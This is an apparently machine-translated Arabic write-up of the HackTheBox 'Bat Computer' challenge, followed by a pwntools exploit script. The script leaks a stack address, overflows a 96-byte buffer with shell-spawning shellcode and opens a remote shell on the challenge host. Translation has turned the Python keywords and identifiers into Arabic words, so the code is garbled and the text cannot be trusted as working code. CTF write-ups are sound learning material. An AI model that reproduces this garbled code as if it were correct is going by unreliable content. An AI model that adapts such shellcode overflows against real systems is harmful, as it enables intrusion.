لقد قمنا بتغطية سيناريو تجاوز سعة المخزن المؤقت حيث تم الإعلان عن متغير كعدد صحيح غير موقّع ثم إرساله إلى الدالة ulong. يتيح لنا ذلك إرسال "-1" كمدخل إلى هذا المتغير الذي أعاد توجيه تدفق تنفيذ البرنامج إلى عبارة if التي تحتوي على مقتطف حيث يقبل متغير اسم يحتوي على 96 بايت إدخالاً غير مقيد من المستخدم مما يؤدي إلى خطأ التجزئة. قمنا بحساب الإزاحة باستخدام pwndbg مع python وقمنا بإنشاء الاستغلال النهائي. كان هذا جزءًا من HackTheBox بات الكمبيوتر | مقدمة للاستغلال الثنائي

ملاحظات تقنيات تجاوز سعة المخزن المؤقت

رمز الاستغلال موجود أدناه

##البداية

من بيون يستورد *

سياق.الثنائية = قزم('./حاسوب الخفافيش')

يخدع = بعيد(‘157.245.39.76’,31662)

يخدع.sendline(‘1’)

يخدع.com.recvuntil("0x")

Stack_base = كثافة العمليات(("0x"+ يخدع.recv().فك تشفير("اللاتينية -1").ينقسم()[0]),16)

سجل.نجاح(F"قاعدة المكدس: {عرافة(Stack_base)})

يخدع.sendline(‘2’)

يخدع.sendline('b4tp@$$w0rd!')

حمولة = asm(com.shellcraft.com.popad() + com.shellcraft.ش()) كود القشرة #

حمولة += ب'أ'*(84 لين(حمولة)) # لا

حمولة += ص64(Stack_base) قاعدة المكدس #

يخدع.sendline(حمولة)

يخدع.sendline(‘3’)

يخدع.تفاعلية()

##Eالنهاية

تجول الفيديو

عن المؤلف

أقوم بإنشاء ملاحظات حول الأمن السيبراني وملاحظات التسويق الرقمي والدورات التدريبية عبر الإنترنت. أقدم أيضًا استشارات التسويق الرقمي بما في ذلك، على سبيل المثال لا الحصر، تحسين محركات البحث وإعلانات Google وMeta وإدارة CRM.

عرض المقالات